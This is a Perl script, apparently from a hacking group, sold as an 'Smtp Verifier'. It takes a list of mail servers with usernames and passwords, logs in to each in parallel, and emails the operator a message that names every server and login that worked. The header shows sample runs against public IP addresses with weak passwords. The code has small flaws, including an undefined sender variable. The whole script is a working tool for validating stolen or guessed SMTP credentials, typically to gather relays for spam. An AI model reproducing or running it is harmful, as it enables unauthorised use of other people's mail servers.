#!/usr/bin/perl
# Smtp Verifier . Easy , Simple , Faster , Bether .
#
#    By Confirm @ #CodeX 
#    Contact: mail_sender@ymail.com    
#
#
# Put Smtp List In File smtp.txt EX: 192.168.1.1 admin admin 
#                 EX: 200.1.22.11 mail hackme
# require MIME::Base64;
# require Authen::SASL;
# use Net::SMTP;
# use Parallel::ForkManager;
#
# To Install Use This :
#
# perl -MCPAN -e 'install Parallel::ForkManager'
# perl -MCPAN -e 'install Authen::SASL'
# perl -MCPAN -e 'install Net::SMTP'
# perl -MCPAN -e 'MIME::Base64'
#
#
# [root@confirm admin]# perl check.pl
# Smtp Verefier By Confirm: Hit Enter
# From name <example: Test>: yahoo.com
# From address <example: user.com>: confirm@localhost.com
# Your email address <example: myemail.com>: herearethesmtp@list.com
# Maximum threads <example: 150>: 50
# Mail file <example: mail.txt>: mail.txt
# SMTP file <example: smtp.txt>: smtp.txt
#[+] Testing 204.232.250.23 admin 1234 | Done.
#[+] Testing 205.128.228.141 admin  | Done.
#[+] Testing 205.128.228.143 admin admin123 | Done.


require MIME::Base64;
require Authen::SASL;
use Net::SMTP;
use Parallel::ForkManager;

print "From name <example: Test>: ";
my $name = <STDIN>;
chomp($name);
print "From address <example: user@domain.com>: ";
my $from = <STDIN>;
chomp($from);
print "Your email address <example: myemail@mydomain.com>: ";
my $to = <STDIN>;
chomp($to);
print "Maximum threads <example: 150>: ";
my $max = <STDIN>;
chomp($max);
print "Mail file <example: mail.txt>: ";
my $mail = <STDIN>;
chomp($mail);
print "SMTP file <example: smtp.txt>: ";
my $smtp = <STDIN>;
chomp($smtp);
open(INFO, $mail);
@boday = <INFO>;
close(INFO);
$body = "";
foreach $pew (@boday) {
    $body.="$pew";
}

  open(INFO, $smtp);
  @content = <INFO>;
  close(INFO);
  $" = "";
$pm = new Parallel::ForkManager($max);
foreach $line (@content) {
        chomp $line;
my $pid = $pm->start and next;
    @info = split(/ /, $line);
    $server = $info[0];
    $username = $info[1];
        $pass = $info[2];

    $subject = $server.' - '.$username.'/'.$pass;
    print "[+] Testing $server $username $pass | ";
    $connection = Net::SMTP->new($server,
        Timeout => 20,
        Debug => 0);
    if (!defined($connection) || !($connection)) {
        print ("Error at connecting. Skipping.\n");
    } else {
        $connection->auth($username, $pass);
        $connection->mail($from1);
        $connection->to($to);
        $connection->data;
        $connection->datasend("From: $name <$from>\r\n");
        $connection->datasend("To: $to\r\n");
        $connection->datasend("Content-Type: text/html \r\n");
        $connection->datasend("Subject: $subject\r\n");
        $connection->datasend("\r\n");
        $connection->datasend("$body\r\n");
        $connection->datasend("\r\n");
        $connection->dataend();
        $connection->quit;
        print ("Done.\n");
    }
$pm->finish;
}